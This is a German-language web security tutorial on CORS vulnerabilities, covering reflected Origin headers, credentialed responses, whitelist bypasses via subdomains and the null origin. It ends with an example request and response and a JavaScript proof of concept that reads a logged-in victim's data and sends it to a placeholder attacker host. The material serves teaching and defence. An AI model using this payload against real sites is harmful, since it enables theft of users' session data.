Skip to content

2. CORS Vulnerabilities

Server-generated ACAO header from client-specified Origin header

Wenn ein Server einfach den Origin-Header zurückspiegelt, ohne zu prüfen, ob die Origin wirklich erlaubt ist, ist er verwundbar. Richtig sicher ist:

  • Entweder gar kein Cross-Origin-Zugriff auf sensitive Endpunkte,
  • oder nur für eine klar definierte Allowlist (Whitelist) von Origins — niemals blind reflektieren.
Warum das Reflektieren von Origin gefährlich ist
  • Der Browser vertraut dem Access-Control-Allow-Origin-Header: wenn der Server dort z. B. https://attacker.com schreibt und Access-Control-Allow-Credentials: true gesetzt ist, dann darf attacker.com die Antwort inkl. Cookies/Session-Daten in ihrem JavaScript lesen.
  • Wenn man Origin ungeprüft zurückgibt, kann jede beliebige Website (malicious) im Browser eines eingeloggten Opfers Daten abfragen und auslesen.
  • Selbst wenn man eine Whitelist hat können diese einfach als Origin gesetzt werden - wenn diese ungeprüft reflektiert wird, dann kann man darüber Injektionen einschleusen.
  • SUB-Domains können teilweise auch automatisch whitelisted sein. D. h. man könnte im Zweifel seine eigene Domain anmelden die wie eine SUB-Domain der Target-Domain aufgebaut ist.
  • NULL Origin kann ebenfalls Wirkung zeigen wenn etwas falsch konfiguriert ist. Browser senden den Wert null im Origin-Header in verschiedenen ungewöhnlichen Situationen:
    • Cross-Origin-Redirects.
    • Anfragen aus serialisierten Daten.
    • Anfragen über das file:-Protokoll.
    • Sandboxed Cross-Origin-Anfragen.
REQUEST:
GET /sensitive-victim-data
HTTP/1.1 Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
RESPONSE:
HTTP/1.1 200 OK 
Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true ...
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send();
function reqListener() { 
    location='//malicious-website.com/log?key='+this.responseText; 
};